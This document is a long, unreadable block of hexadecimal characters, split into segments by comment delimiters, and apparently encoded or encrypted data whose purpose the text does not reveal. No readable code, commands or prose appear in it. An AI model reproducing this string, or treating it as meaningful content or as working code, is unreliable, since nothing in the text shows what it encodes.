a2bc21c8e8665f9af921a9ad0fe299b26362c8ddd2be526329fa6cfa993410d7aa1216463d5a09bc8eafc84ea39c8401b897691ae633de189351d954aa2c33a0198330fdfd3c106622143c39e5f30852b895279193626442778b95ba9fbfc3e28dd231a1893ad0fb1c15cdb6734c1b5492f05f7c339a84bb04e4927a5a410b3b79f3b7c2a49ef458a4720918b43b1dc6d7a5cc83843f77441425e6859c22b86921f2068db324437256cbdfc0c6c4ce14d0528139f66381911a6f747139398a1b789edd6c260d7860a52d0b78bc27187400e31306f09e326fcd66362146286264ddfb3691995304cc276b4761ae28cd19d1403bd637bc9b9737a91c83b5bd6f0dbb49fc7224d7c350457a8feca31bd5f5ec16e148c66f147a7ff36ef1c51282b56385383afb5fb8bf1332676a076c14609fc57b6ab432f9431ca3c98f5ef8b296e86acc239ca5ec36b646827130d5d0e9e787df46edeeffd7c146044ea46123674b946096eb36875cfea9297cf8188dd8abc4e533a423860d5ed4ae821de0e6abe20e1820068838157cad054dfcbe4d665fb3fb5fde25ff3591751445ca29d897b2082d1764ee18c5a9659046a213b5f2872e330480659641d345f987937c75676c6a70a9a4be20a011bcde3205fcc18a1a1f8aa2ce3084ad72012c6b14e5aa3153128daca9cde64e*/
/*93ccc22136fff92ed1550ec5f81161798b154df94acd6549c024236d2d04859b934614503caee9402ebafa4a9e04f70d9f6f281d920e8af1387507d708f55de547e92b01e3aa2516cb6811228624b098e6624b37c961c323ec189a5b7c11b2aea093c00ce206168c6de42360126ce464b465776ea3875a5421ba551d47aad622e8e3cf48004cd1c276d84388dc04f84a3e0342b0d9c0373c31281a2994b3015e2470c234905f32c3d6db8e9b85c6aa1803b2214ec0b163b601d934e89f357d06b8a35429f02e682a52864615036ad0aa901f7d9ec53ba95405b17061fdf933c84299adab70d2b2ae53406b5caa992a8ff00241cf527c16e93e195d4d705fd973d2c95b1eebd9079edc43cfab318c0262ad7e56e3642b968259cd043eff760c76895335ffe7aa80edf026f2e89ff3767123238f17409efbd73e844e285db3ffab478895a52dbfdae8546651790a7ff879755b40a65a3b1647ec73f6bdde76b9d093d9d7034d45334b53aa849ce4fed7c39586572e972b091c69109e9c733fbae3e5909b62fa986f7cafc74c1a4e54a9a0c0c19216d93a9289fa5135f47524de0b252d9c3f587cf3769c6261bfc3c227621d22bc9972805e003e30422b5fb21590ac35c303be01702347c1db1ba4e427e9b11d0bca50b1715aca808fd5a6cd609c29406737e4e789baf304dd2a2c52803718ab0e3908f03de01d3cdcd143536320fbf76e5f6310c13e67e6dfa8e0961d92fbd5f9a509559b91a41b06e2928c5da91ded82fa1db87de9a2d8eb867db2e869c16ecb15753b7708a72d23983dd6da507401c9dd97594786f3974dae027e3ad03c8a456f28942b3a2ba8dff9b76696bd5de8db2e24e4ecd46d18320866614d05d94faeec957a89728b4c56e249e05ae65b91255966dd8f4d52d29f685b3104f57a4ca7696e0d5af41ae50e2e81458d65ff0f474fa3574d7d36be6afa2a6ff7a68f9d9a8350d5c5ab3ada7fa1378dc498c444472b220a93cc77b6ff91ded154a6ad3548a06e5832ebb9e74bc9982e23503621e94ce121b640bd3e1872e1cce57f5cfbac87da41afe1c73573008d376a38b71e3e8d86a80b6ca145db6a7bfbe17eacd8958f29b2e2ccd059b0d3281ad67d10f8ed05e0621a2ffd4a812e7677026ab7550667343dd9795dff635ac2188537b322a567a29f60f9b25e1de3800484961528f0ebaca62268d31bddff09018fd8913d7493d982dcdb8d49caa786c19880a7851c5c687b370dae971bc996c6cd5762771d0ab84d2f190d87641ad5b6ee1015d6daad32fc7c4c25d3456dcc19a18be480dfd9dfef1bf2d4112c9e219a47329fc3506ae858563f892d9f1eed0c309ca42b4e8eec53cc934587226e94d6754c889d2035da12a440c8ab48d9be53d38fdd375fa99762743c6c30659a40c2e56f10693e1389ebe9e6ca7b11aff429f4b1bccf8e03c6bec1891aed0a3be38e695303d49804ac39cba6e117450d62242a918f97678ed4f806423ecae5471ab021f220a3ebecf46c3b3f9a65199c7e3ae1ffb92302757985da29b954c9c700afe679802f7b292978d554b2d81515230e899638f5f2c17b5cdbb1c2aaeda57a84a5b8d7c110aada8a0590e6a8f8fb1929d6a79692ac63156b4c58b8c3bc9a7b848ead8d5ba16ff1387f27b768a40782bfe44182b35197f13785bbf3ff802fc665b2878a93c2a938674f0ffc88f56094eb0054a5bf87a75ff297da03d272526ea726bfd47074f8aab8b7c71cd7846be779b75335fcd1ee068fc35705dbb0162f898f6551326008b1258a53b424cd9ff1a864d5681adb2fa28801ea19217a6dfb4d4256c96079c5144d3f182211b87f6a8796417eb7f5c635e7f5b28b82ab07ba7bdbb8e22615abb49822b368b410c21e982df9e32b2942757617bd61006917ead43e6798bfd66573da21c4f01b5301e80701a249c95342caa1e2076d149a0785a08a298a8e5d0bb930a7f54f8582d87a6ecc15612429dd4bf5e139d64bef622949262e238551b661dcebfa64be88d170845a824e41394a4d3d8161d6afc2db53b995058682761cc9887c50707fec614bb69e5aad3cea0e0c4626c9692985ccbd5381856c66d4597d24f0c6a74ca6cb1787aba8b7b6082caebc1882c40e2208386d577327392b999a6f2d1d63752eece89f9b0161f079929f0955e7ca1d67b0ea0907bcf875b66a21e600c27056ffc41ce319e7f95fc1c8437e7638eb43c74c4605860337edc07d6dde213520b216159a55b6a64eaf5cc2aa396ec612b96d91723503365935a20ca7316ef82986a263b97465266abb94926f4a600fb6ea3c147399fe8f621b581f24dd07f3da87c7fcfa79d8780782ec4aef5bd76fd07dc72e69b51c7501f6bb7a41bc6bc1a5eb0ec52e1597a99e105fc97cc70b3a32f1b2d23912524ef7fd1a2680c39dfdb6c6d9f02f80bf07dae7488e9902944beffc2f2e22d3b99122ae97fbbf2604435810945be32245928d449232f36a51b1af60a29e47518ef3424d97149093b501f8dedd4e0e559288db263a32c3c78acc462fbe958a359542769a36c4cb98c158571cd6c071fbeab3d8d643b9b57fca13614a3e64b910865e00d517e96456ea24f10e082d41ebe85cd21bd979bf8b4d2b08c2161ef3b46b22fb7753b3fb4d109deb5b949d177c10a847ad5ac9e485fc3d6f7faca8471357e68b10409b86bd634ed3040c625e7ef35e338cce462f1bf3818b87738b54f771eb11a4314cd2698cef73323ebb416f39f68fe65fb797106ccba1237e7a96878e9af44c47e009c68fc2185042954b5a63600a249de34edafd77b666585d147de399*/
/*4d4698938bcf6ab1a399f493d683969b761ed7951a7185fe2a91b98be4d860373aba41e114ec88f70e4c8d757264a316a714094143071ade67ba24c0b51e62fd21c95d639950470fd25f3602701cfbf109dbf1f7c11a5538b65e20a43877618b80818ff2e0ff129fe84d6906e704e6a48716bf6631708cd587ebb3e375357cfa6b193f091eea47763853a0d4bbfe2934292b719b50bb32f70c487f259de44b4faac33485600287a02178a954dfcbd7853fe4564d22a4e7e11708e96ddac2d09f76063fad7c8976d1bc08ffb4fc7810bee584409b1a90659ea57f88c053ca590dd3012148745d6e3d1854a6b1613cfa0cc5fbb11cdfda71562cb6cf907b8a82c8c080042a0b7d727883832d973f637247769244c427199f5c1f8bf06eaa527ede22c8eb4895ba1133448c1ed7685b70f1b91e83a27ce5e49e8f971a2b289f3ab041a63eba85e0a2a29f309ad1e2b63e42bdc32a0aa6b4e2ced3aef9ef3705d5c63e8e0cb573e6c354d51aa29385effe4e95f287f044cd6bf261df5eb47bd6450c4b04a07defc6e747ecb0cd304c35c65b893f1354455dbce96aa881ac7c14af1680cec4cb013d45468cc65634da929ec3a1af5962eedfabd38524778f8e62986e6f419db97e021f4af6282677c015ccd07ae2b6822f10658a3c82e48b021b332797df81c6aa06b9b3a36f0cb7aef95d8b4943cac56ddb93336568298a417fa49791f8e0faf7f7063d883c735c55f3e2acbe2fd9e1c425e1c430f5bb457a944257661fe19616f107847a7f28b94016648e8a295c19c3177abbef4da3cf5147c0138fe6a146e1f72b1b3b92918a197580a57eeed23cdd5c731f936fe16f3b6b49da1dfa6e8f6637a55a0cfca97cd5a0c99c7cf16a6bfe4e288c970c51a7ecee386768fe620b33c17734ad48909b3f8f25541c1aa26608eba101e7465e94b6a59309e56a699a2dd84159a6822763bc2a442b11e0a1b14e5ce4e925fdb4c154de890811579b04382c0e72e81d0b108d71db8cb845d040b8a8732be9b8d5d79ac51b404de8cd125da67aa78e976871cbec5a8ab1da46f457c6b371a5f567ccc3c50926e59ed5433f9dbe44809d617b89065a5bdc0b7d5018e60b4c41c348100f3c3199bd68fb67e5cb2d0ffedaeb596514aa02ab1979d32d57d0154c7900b7a3acb86c72fd78427778ba35ae8fefc76153f4a0173cc2b241ca4eee8b96bd9b6d26269eaf2059c2f645182189c346bb018170f4b1f67d9cc700ca6fc07073817e93c0c5e0af693691c6d8d55beec5676998df12a5091e494a1954849c35d703c2c2de232b4c50cdc55a4b47c3824d3d367e6419b38c5fbc133e768f8c5ab7ff9b1547fe01eccb4e696403b127e82f29b91a994250faea68b233ef209acebbbe73c812c872bbd81330230f07fa7dc7ff793b8165884b8026a1c19f47a592da4490cde13f54959a358059e74fc815dfa1a3782780aa3d1c40dbb8daeef489bf4b69f3a5254d2f926ba94301ea69703b61618104b8b14bb0e890afa2cf143733152a0a9ac8943b18c653b03c2541a3beccf8780a00f809de15050f3575577c2303f27127e283034d57bb26f2b147ac3a14b65fcc933d9c6023f14ef56f794239939fcabac4a5b39b9dbb67c7f99bfef4c38fa432e86c02bc851507c056ab6dadf65f9f72ed7cf3f65662cd26610d809118f4834485de04eb65e45dcd4d94ad62f09b274087bcfd22ed271fe93e454682dd11d5a3b5e6139a1d0eef67a86cc472ca6c5f1e0aa1b93f7e5a1427bd5e296931e3419c548683582606798f30765ffc27603358c5b9729cab4940d952972136b38b372004929a78db848e1ac66cc8b65f68937ccbbae2c4fc0f1392ede820460102e5b5018f20fcdcea8632950eca75955eaa3d57511685665299d12ba5ec4eaee79726207c4dc0e33f24a899422422d5e1cc19014be80ad59bbbd373f02f108baa4adb674bd6fd20d544c6d5c5970d0ac288962bbe70b39c320a392d9e8156e7fd74cf77927394cdd3602705c6d7de56cf9a8ea2b86079f84a84931e73a11a5c203d1e4c84877f7c55d1982a236058f859ee2b98db65a53586a366bf8df5f94a3309a0eeb96a6d3cf19381147c87e9db659df9e957a662b0ebdcd2a49addef5535a7080cefda90841cda93dac50a0eafca4208857b2f9c2d61e5779ad9f092b566e70a28c6c6041477521ca2b681cec24cf55e80efdff437bdfd996ed38d2b41ef18b81be887ac49bde00989d608fa6b41c39a3b7bbb439104ae24df8e61fc32aca0129a2fccfb24a9cd51a91e5fa501546dde4cc4c7c6c34393e73ba0217d680e8b4174a44b92318a4c4bbfc1dcb2cd0fa1541c2b822cc4f74bfe94a6f33b5e9943afb253230eef209667f9f5dd01483d6cb8fd2ac8bdd6995a71db0d19f8c57b97674d3ab805fa2a5a69b4ab2780b1b505dafd03f6d29fe90821790e2b0253bb771dc76f54c01037850906ebca53ec8fb4bce5c697a7e1dd7ffbcf7c61ee73ef4700c46882251ad62a6fb85f4c25699269281bed82eff849bbf216b64e3adb2bc3970a42f9903444f8ad44af495b47c7bfeb95bd583252e5f55e531bec9b10cb0f2f18406c78e1e0192bcbc52c6f62c548c430883e63e5270c34c71c9bb6ebf1666b193a2822e2244f85a383ca504d14a277fe23bd85fc41faa5f6281f04a2e525aa8b0ea21e9f7b0e4c33567554f542e076ab2fa814f2f032021403d63e01077e742b2a72aea27d1f81599f8b4d88e4bd9119e837981fb19e4a98bbb16d4faa78587639f16a421f72ece188b0e44b2861a1218ee0fc8c6180a3442698cb02aca22c38*/
/*ae8bb729dffefd3b6d74414ff192c2bae81ccc98fa6029e96cd8a13994095854f123e8792e4f045c857509bfaf03028214afa7386ce42d39a53fa671c0838acf6162311b2952555ce558f9a7443d53e4158c9fbbeaca2eaf4be3c0b30d3bee52863bc7ac8bfc40c9d3bcc314bfada44cf23ff66addacbeb351c87c8ed93c55b3e3c3924efcd521e564d87e71db9363f129e000fcc273f156b46248392d7d28b832f0e6084f4436ec427db3ec70f487af98e907c5e8ef1841f72115df17dd9104c862cca6757291bdad43232a51f8134942201b4523ee4c6d27679efd8f0c9d0b97e27ffe401bf3c924b49884978b01c284ca85fddf5028a7115e48c2292b5e6aa4c80553f12b307c0c3acd22da554f48fbfa1e513c2ad419b9dd3227269c67dec689808595c4005a34a781a889fd48ed7033d929d08870536faa6d3b3ea64a7963c0d187a4f7936821f300c840bdcb7a9059369e7d0a321dcd7f2ef0aad91810e18ee429eb8591d697f5a33920097b2df9ed5eada3361209d3f61f50b9d2c82aabbd9893316091bf22ccbb6fe48a0453463ede822d3220497d6cf38b3574111ed318daa0507a65bc22ab94d3827522b967c0f4e6a2aec11a7716abffb8fe181c1aa33d6c0e7a83b30989a5bf58a2d43bbd69ec0660dfd3ae16a30cebb5cdf6b5f168a79cde524bdb94772ba5ffbfcf82fbf5bbd1484edf944b283402b34ee906beb354e9388fff41c31a5992138c342b01ca484fc520e0b6523a344a27073e5bdb7543d070c7f193817e3c5e0e06c0993af5bca78ea908c5f9a464e50497a067c202fc084b2b7b9695a9d4c26e6179fa0c5712f61cd9e5df60fa9e4c792604126d5b89f7f304e9a0651eb9b003eee38bbb069270130e04d03660771466b6e5ece23cc211b2c3d3552056d9cc9ed489dc3a90677453ecc18f3eaa74415666ee1c6f469696334b10b3849066251bb294aea5bfdb51759c7719e38421f8f63211469ae1f2dc46e66856f4277c79d5cb3fe823416d47834349f011ab24639d4254937b15a21821d5c3fae0a64bd230c4ff8a621ffe4a53a8754acfa0d9ac6ad20a2f32b816d1d6c07d9c73cd8563a32eaf6bd2af7e3074bf38b37721207d284b74bdbbd9d3a116c803afc35a3447a3488833a1d91e12115bb01a5ae08cff719fd3cb57fca52b3a35aae27d5e1df6a0eb2eee1865bdfc66302aa1b13d433580212c151285b77ddbdb89e2520c9b63748a3ed6386c6aa984dfe062ecdbbc1902b5ae28fe2568898eb3733fdff41dcb4d9b481b3a9fda2b9f1799bc449c71f9d8424ec91a113b30e2e7ae4b4d9c461fca658fd6e8a5e0118643e3c7239309320143ed02a21e431e214ea832e051f6669419d0682a3d2653ce813da4366bc527a1abff22d436607e07d42fe9d78d149f89079797891d4879184ba3cf3bbecf6568d1c124cb7c8edc92e47e4e946822e813d118d71adbaa1ea1d88c1ba799ba8241aa73d970bdbf3e4e86b8f1678c16c0c0765f34775a98d2230cef25af747f50f247560c60cfacaa2b8a20f481d2794113cb78c9a7c940077115a5865ede15f7da3f627007c0dfe14f99010d541566e9c46e3353e7106d4ef7ff37db80883c933ce2a1fea9d16a431b40c7fa1c0b11be8aea21170cd7cbb48ebfac27d9e6c45776ddc6b97859c51b9cca410aebcb61490625454563290de66365a1f08b3f1ec8eead18f9063b1fc290397d2fc26bf0c5f835ab156adb1766b24424da51396674be113223ab6dd2a7f9ab5fa0c814c307ea1b6fdba076a7c7852031b3c6f88ec056bc65318c3a2311f1c110e2ace746d638fb15faaa5d4a6197319e58ebd9ab24aba46603e59540099cd46d86d21591349241028f352e5d24c9c482ca5d832f354d7e2c68258314571ad9359b7f00660e75524bdb1a703fdd60fd43c2b479ca812987439db8bdd9e93e9f913297cd58e22e3e7aee1ef217c17fe8978e447748e2d6a05e47387e9d66d8f2fa3a13b73995bd730ec6d25180943a98b3e73aae1546f7d5c5106e4dedc1bbb619d6bc35cbb384705c746306d076847c3f42fb63b310299c041a1f8ad21b4c87615ce7f9a982e14b5a404349ddf61e1c53b5f60d4d01c1051e834cb0922a8af458ab9a96e941126141c9f6a6eeea57450515051ddfa177e21f0b5f057d873c652473242b9a08af038df8cd756a223155d574c38de234ad8b346b0878e2f3286453e22cfdc889f0d2a18bfbe7b8eee331f2b499fdc09a1add0c18aaea91baee1cd7b8bc25d168e359ee2b51487aebe218512c90fdc48d1875eebf2d4eb3c6d5d3abd20cf3177bb75a888d5198ba99effdf008ae1fe3bb0f8b039480dd584de3b214376e12460a464db08280ea072bdfd4d999318da06c1c620c11ff1293f0775c69aa226075d6895d0a0ee887dff7d7fcdafa1489e4b783a753819ca92e01e4eb7ee13733e277af6acb67deaef2038083428a6931b26c20e927658ad01cd465896bc4640a885d69ab3c17a1500b522a8ec6ff17fb0243f8c23b95eed4df2b6e7c172c001e67d940bc17d179c1cda1f75f597ad948d2b1e9840ff7e0e3077c4434b4d662711c0770d504bf4ba72018dc2985e1605c696820c0155cd5ced001e7dcaea169e35f6e6e95288818cc80db18cfd029627bf00b67124ce31eba90474a701b61d2fd9222603b0318794172da4a16df3ea0a324f6e82335f33a68ad2328e7bdb1bcc736cff96d11108aba83f4b3a1b61d80eaefc2e36a8205c036d552da090ecfe33537ddc32164efaea4fc2d62ff453541d69dfcd543a9e9816fe089bba694b0a34f6aeaa6ee8d81*/
/*b29867ddc91d47cb606fc99cf410f4d170f1cc05ba68e94662b1642c0ea4a9762348d023dec88a6032938dcb28de0d0dd67db84382b70fa663a8795937e2e8b8a9170dcddf8f0fd0eeeafe519264aa76932f742e7e21ede36a29314924d50ae3c471e1bc79249cc4843021d2f866f5f8d25868ae83fa87d3ad668300953c07c62b8b10c1e45fdd307e1cd68ee016aeb4b6e7704337008d2f2449a15db644857a98ff19af1ab0b156dbe98f515e997f7eaf7ff4ce1e292a8d9dcba3f2ee46ef3a6c020941500b82618e5e1d203912e9439840bf378f664cede6f22c6ec95ade08d6f5cb2a6a3706bbcaa51865aca323d0b5f1f2e9e343237d0788b4d3cd8f80c14966d2a2f10201d3da4cec05442494d015f5a506f82c5662a3842834c670263362aabbe3ebb95950f71b397284bc4aa165cece8a927758553a332cae48b9e3a9e9c68c31f79dcdffe21e0140f0109c2a0880c7f9c5951217261128ce35daab1e8607b48e712045ead43083ab8a86eb68bd166b2f29106e4a5b7e84e4314f20f997072ec0413cd0fcc0fa3ac8b8903311af105cf5d9b1bd4f6655bd67834b7215a5c0bdf89de7f7aac4b0396d28d84ab9728d781c696b151f22799fc5274b49fb2c2cbca0cd3faad105ae9ffeb6320b211052d6af9e047523a146def7c4476dfa11cb2b61646cf66964d4cb4a563cc833c4c76d855a5bf7b0a4ea180b254f1df07b09a6be856a84c1f3ea1b166b8e7f77450ae1312fe912b9bf84088438addf6d109397b209bcde1f2bd341091b37291921b0c9e2031ed613853400abc7770587c0a6cfc26fe963489abd305f910d27aa4746f16878bc5cd18c7501cdbe8e7de528f3782515d180c5218ec6481434348d25ea30bced9fc27715a89fd02894268b9ae92ddde3820d1dccbf1bb4b81a0c77908851faef1a3697ee9f8c2261e37ed4b33f49e2b7d272b44c1ee34e4f68525c1295b03feb0c45a920495c56bb5616531f6af428d7aaf0757f37f4adc83f3da5c8895febecb23dc102f0d27f81e0be53ae161abfe1f607165a3f4a88105a3f7a9e7becb27809ad84ee32df1676950c4b11c4661228ad21cc04216ac98dd8b9abda20e6f098347a4376067734b12a5f60ac8a29d9eb86aebfd41142c1db682f54e33bc75add7ab257fe3a882caccaa09558428085fba9c6383ff072eeb0dd20be7edf207dc4835cfe3def120f8939052767dc872a2c580df531a4f3782f3db15c2ad7e6a246c818fbaa15649eccd71a1ea72cd2709f411ebb56def92a795fd5a3b42d3c2b8ce0de8eb0f98148f1638fec5d537b70a47f662b17b1ef07ed0ddb762115bdb4ec2d98b7181a2856276f66362ce273220ae5b3864de63853dd57e89c5f3d86f817854780d9673a98360770348735a43aa1953a8a6e8fc64c02e6c2d760faf16f43b1dc369a5ec211bfe33aff20e8d92d417532f48aac86c0ba6572e8a87b0a3ad62767132c82be482032e59f0716af2c809799abfb5de837c69da88f6486517e7b4a348e2963c12418aec1902fbf8602c55441a1bfcb423eb0223de5ada7d8f29acb38a7d1deb13ea8a8b1ef0229e1a0040ddc720cc02bac220ce2cd3be375ac43413f8bdfbba030fae429acb366b426d19302d86b84aa82f8890e39aefaa6b179e59d89eec4aa9bf6dc8f3f59581d5baa54d20be23013452cf310b05a52fb9e05729d4771e8c8eac0546b908d4e0c40cfd928b23f8d47c234106b478679f14cbe509b419edc2401b133c73a1628176baaf24f3f14f85b76855a117af29cc621838d16b3c3f590c49c0fcac709151aa38c1d528d1bc020050fd6f23199a6da4088885938739f9c1ca45a18cc693ed9c85491a4b26dd7bdbf79b0f13d8443e03b78358539b52b5d96ebf5e5b17c1355d9464e113b7305b643cece3f3e8abf68139d9494c58593afef341e25da866a4e0f80dc8751f79dc923d3701f4426496ef55d7a148ffbbdb66bc82083c7d077fc4bf47fba718bf5f7bcb0b2219449c1d6a42c753c9a02f4db946af4b2930706581e6af692ea28b9874eff340daf0e4ae04a0ddf1b61cb519beb993af1907e6989995bd442dbff2474b193ecbee70ac2226b2b03448c3fd3eafe4779729ab737f5cfd415e84e4bcffc44044f190722ba3591809ad718731891fe4b2c297e14ec2bfdf5c7708ba57aacc73546a591e2c47fe3d5813f7a85ffe126ada6476a333cc6712e2c118884156e9bb529e67faf43d708d7697ffeed5bae394ae37ac8378ea0b77d163dd176e18c35b03383516480a5886315ab9f649ae28d41cfc7b02ec7c7f82b3146aa3d493d84fdb565961703d390c2e7fa78dfb9d2d63d51c5b5b2e7a6976cbae4ef9dccdeec811586d18f08ddfc4fffbfc38e0e407a3213b598d55687a5d5e4eda70de8b3d6dbc2bef17a3d7a699a5c0863ac0af2fca0042a8f166be6cf4bac4e0ddcd0a82d23709b616838eb11f9d2dae99c71a35fd47ef088f8dc19ea2cf78590f9aa0395322f040f28eb71913d817bd479d93a83419c681ad627056942b42856ee4043731faed0a2e8eb885febe171f116eb014e34f542a53ac37bfc67e2bc94717a006491342dde60fd46904930014db55ffc83eb2c32c509559574e4048a2179ba7a69d8630a7890e25764d6718fc935e0ea3877a4b99854c14af144f034888e724c8bdd556c2eadf7d2bb3fb4f04a493eed877156a7eb80d66e3d7f647c4622079e17b5c98882cdf2080d1b1ee824c357319bcb438d3cf6a56b2a1dc26d82b4878fcdc3520f355db63f61cb8dbc946eb9b4c7fd0f30bac063f15bbc5ab962f8718b1c99a536b1*/
/*c96b0cc4600fd9178d5b3fc5349da521920f85de11e3655d0c1ed7795d8961fe7b3bb81c16cf7bf223989855a752adf9a4c58ff68e984e578f366fd9524a39745a4e1e0dede316f85ac632134dedf79b40f16f33052b70a9b4c488bb136d67004f45a073bbc6897ead8594dabd5226550e7f0aaee8dba9f4e4063b66570311c19f4b463ac5e60285fd6f9770f9e4bb189a84f8f315ed7124ff5ff089552de8b5b9fe86c54d32419b11f037c72bdab6722f701d609b6059a0282b971a86962aebf45a594e8cf19cc6b3407de61309411d32804c7592b7b2e3d8c845887db26e5ec193135aa4b1416914a2dbed56afa31913ab68e5d916af2cc987c7d7fa332fe2c1fb39c4ae554a25ef857b93997642b3b7db7bff6fe8632e1d51df6ceacc6f952ab3e2aca1c00c7e5c7f5b759e50740d2cbf1d1820edd69dcc41433527513333ee285f003b544e643d0bc5e136d44fdff7faef2f00e7b51cd2c6b29a6045623aeb2c5e85f4ecfe1c3c730a0dd7361cf51da621176316d1cbd1589768b40a01bf7ce2b34e17562edadccb50a11508b4031abafd56a66a3a3dda82ad3ef41ce1e8bc7f6a9d47d3fd00c3dc3f9c794255cb13f7aecba6865d352ec5f096973fa49fe3a7cd9dc9b856108977ce49d63b3d45ae25da06386a30f309b31209350a4c4bf9314913c50194002115c62912ebc29d31965738b3593facec375c3bc50056c99e9e578cffa8aed477ded9ed2a34e697b0ee11f309711370a938145d0e76c31d53be8a74e97db1e14b2dbe6c6901ab1c96ac477dc668f6abe020abe2e373a7018c6d20e5e5e0ac06c81697294abe03a6a12e901ab2de39a758b436587857d423eceeac78e61b20d309efd15d96752731170708b3c25453f12b6854c720a8fe0f9c0371d32255439a73501b471a3f8de2fe971bc7ea4980dbfaf7e14c8c0fbd6fe4fb51adab25ee3c14e8b27242958c6a137f85250ffcd280899dbb6e307dcf09529f320c8e75e944588b3e057561b30956ad8c219889cc42fc6def4e6bc7ad36294dab638607865913c6e715d59766a80152ca7a3a752e4595b7205894162f30075272bf4cfe2874ee24591f328fba3960a5e0854601fbbcfea1923c4033c9ec06036c0b6570e3e72eb225098f874846c759dd7c445fdd0b157f194a790c73b010b56aaf8733deb8b5c99ec66c98706240bc1de8d13ca1c9ff419878b6a25661ef028e804d86387800d3b4c484d01f81901b509d73090d65851bcf1194c182ce8a3303a1152ab1fe1f5e6ec6819810ce27d0476eea49a8d40515d3867585ea0696e1b2c1b62e70339faee2d2bbb8babadbe10502fd4dcf0f158cb5af03d7ecab30813ee62e843d0690e6a88b3ddaff49bc4ba9448b82c72e9fd2be125b7e120a8e1f305515ff1c4b04ad22cfa26d375647e233999d4ae52588db039e7e37d79e0cc1d091a10015e4e75d2f115316762de4ac3f41fda61f8640d6c215d2bcf73ec0cb09b8775e91283489f079a79f56da36875b652655df2bf994c8cfa3d010f00ce0294c47ba8f974ece8db7d5edf56bbc8bef2fb080fe0d206e2fcc03f8e1f53b9a3a218bfdec8237a77c92e2ec20edef71db73417cf70f435e9563481fad4c4754c61b95215cb617fcd9b67cf6bbbbf5095602df755fa685941edb7f9792a535f90f54703781a2a66dc04153527f708bd7be29a4a20ebf98b6812dff8fa3597932afb355ff4f173d618319fb803f1f5497fca667c081ad0aa2f96464afc302f4976e32fb9b8c1d63d0e3ff152f6d19c535390096f904bdba834239b785f1967c78901e94e3cab4bd58683615d2462960786161ab0af6a105fd812b50a4bf9367ec76199dd14ada1f96b32dda8ebce43f0ae381cceb25001221cd252b6c95418f75ae92756dc06289546ee15665f67800e00a8b080325e5ba0dbf4a16c57637484660d9620dfa06ec6072f471aeefad6b4af1bb507e4d15d14882219fbc33addaf728b180d2f502469037240f14bfb4bfa919a942cb566605f9397a4104757c8a93b26d1369b7d7979673f7713da796bbbed8f745c573a84c415740ad66ffda27c0308099a768e274120bfe7e2028b700b5faeee40a3445a169647ebddac5766381ea396ac5af89622fa11b51804762c0ae66e1013cfe72bbfd8b236bade6461ab29da178062d4d0cbe72bd723cda665f97d73551a5f34a241be91e87762164b63d0996bd8a11373e1cae7c8e1bd8e5420024bb5132b1589fb96dfc415c73c4b05a1125ce39760df5d3a2fad54f67b15949f039b121ea6fffb4b5d24ff063e0ba03d0dbe8ebc6edb6021f230aa58d194a9f360aa75449ce19eb98f0eccd2618c17a4654d947ae4ddc9945cd5373605af94756e414a56330148fa5a57dbb936ff171820359096e48eeb8b4c4dc9df0bae07e7d036e6c3ed6d22ebb902762a46bb0ea0d40ae77750db2958b2c007f103c4ac6c71122f5f595b54aa75ec171eadd09cfb5c6df42cbd63d047689bc0d9a39314acef00a7a199ab8fc5be665ac1835eb019da618ed032e3f0870c08c5510cefc3e9821aceb6db66a31eba7a8d0ead92bd6ef82edffb3b79612bfe6c43b98a5925ef68e7bc65dd404445003b5363b8ad8105de69841541a6c7801d1969540fc3ed29aa56830d92b3656183e9fc161fe93a3e0463d2f504df004ff637efb3d8db9446f7d48f61ab737ef50d58a91d6044ff454aea51150676a761c07b25d72c009afd70d2ff406751cc4d072d33f745d711801eac1f314bdb10ce2ca7500c9bed73ea28c917d8cc9221e48761e969d1cd44bf9d4d503e60aea2599da72053c8a*/
/*682f2d945dc6d54cdcf5c18f481b52bcb407a260156d64dfcfe7841eecba7bf7893a9cefbea152020bac48d05ce0b4bc83c226defd9d9294daab8a8a22790061a19bc4c5ad3ebf40944f05de69778d77041e6ea98fa332d4cfd46da206d2fa4b6e5c174643746ff4ee8dc756421163de75d05554b5b6f8491037fade92efb8e1704389705f682dfe34baa91ff660a78416b4eac3495de36dbde86c67ef3eaf8a7fec52c46b5a22c028ec036103839eded90d0b06fb176156f112c8c595b9f0ae5cc44bab1dbe7fb4ca44d31176ecb4592d05f9a2d56faf1d266deebe9e35d7277fff145a445c36a97c44cf47e323d5405f0e4120a57b5b71c2ff8d6f94432e4e9a619b2f06ef92c035a31adeaa72cff05b5656af7e4f14c0c20c12ddfcb6fd42c91832051011b86ec63183e207e5cce6344641876fb16de22cf7308c9dd4acf6291a8d66d94a36ff7ba7061f9fb2abb649f95147858c6cc65eb3de06eab1a169b145d3c3975a1de78f3ebe9346d02fe982e57265efb612c810c647b9502729d8463794944cfc2f396db3477400521e292681e7ff976e00d9725590735ccafda2dd1635977f449af5b0401bbba0999e716d328aa3880d388da7bd8a83dd5e841a413970fad42f65f288846ea697f231c991cca838118b08ec1be7d57e64689c1331b780b7803b5ce6b242c38030a8ea1f74ec11e6af9f1f1e152f13427e4fafbd1d23abac92166a5e2df629e63b1c3aced4ffe0d6f34c7df98a3222450c027657bd0e96ca1da94615e8b0d8cf8f012d1be76a6fe17c4287975b87f6bbbaf0db1901a3154ef3e0b6b1bf719aa7af2dc942f555af22a19f67780617643a62ad062b49b2099ad8755e537206437dc13ecbc07b75ff3f9c107bc7e80c9a663e4a1d805c44850e2b3c7a1698df181e27ac1e64a9956b311b60921e2e5b814bfb80bf88d14c6f42ab2805af9ca466d763726952606a6f6d221ec76cf1ab0c8704a73998b2da597445ff6a13ded22c8c0abc262ec2583f7b2fd15ca33637e3fa43247683755f10c9ba8975e29004beb3d10121bad57d95ac739728a7a1cceaa8fceacb5d3db6bb5d5a775d02d7a96dbf474f47fa0c7454a7e03c7b2ac6058c604b5aed6023d44abe7a8148efbe40bc6b7aa31a203ce64522edd8377f87e0f178e8b627f4e2c3853b19311c8e535ad4f9c10f1c2aa48ebb3ea5c9369fd5182800fad8bbf7e973e3125e37a7978d45a568597789d61fb2044e412d6eeb2ee44fb26a5b56d15cef7ad4d7a6df711067eb1b99856dc34544e462f1fa001b261781c539d3b14cb805bd8d7c5a45a0c6440e6f9f062e8ff4b4f67cc135f8fa0fe47602399893670c017600728313bd24405cd476ae0dc1e3c84b03e487978b8d405c99716bf49cf6b549a2b5e379a3589f7c60e5d0c34b4b78e439cf3a548d2310c52e285c16c97a118b1fbc7446796f60b37e46d4348c2b4f92403076f3b815edd57d2dd319095c948fa0333a70e420da98c9bb62a4d4a4e8345b634f0f3b0c1f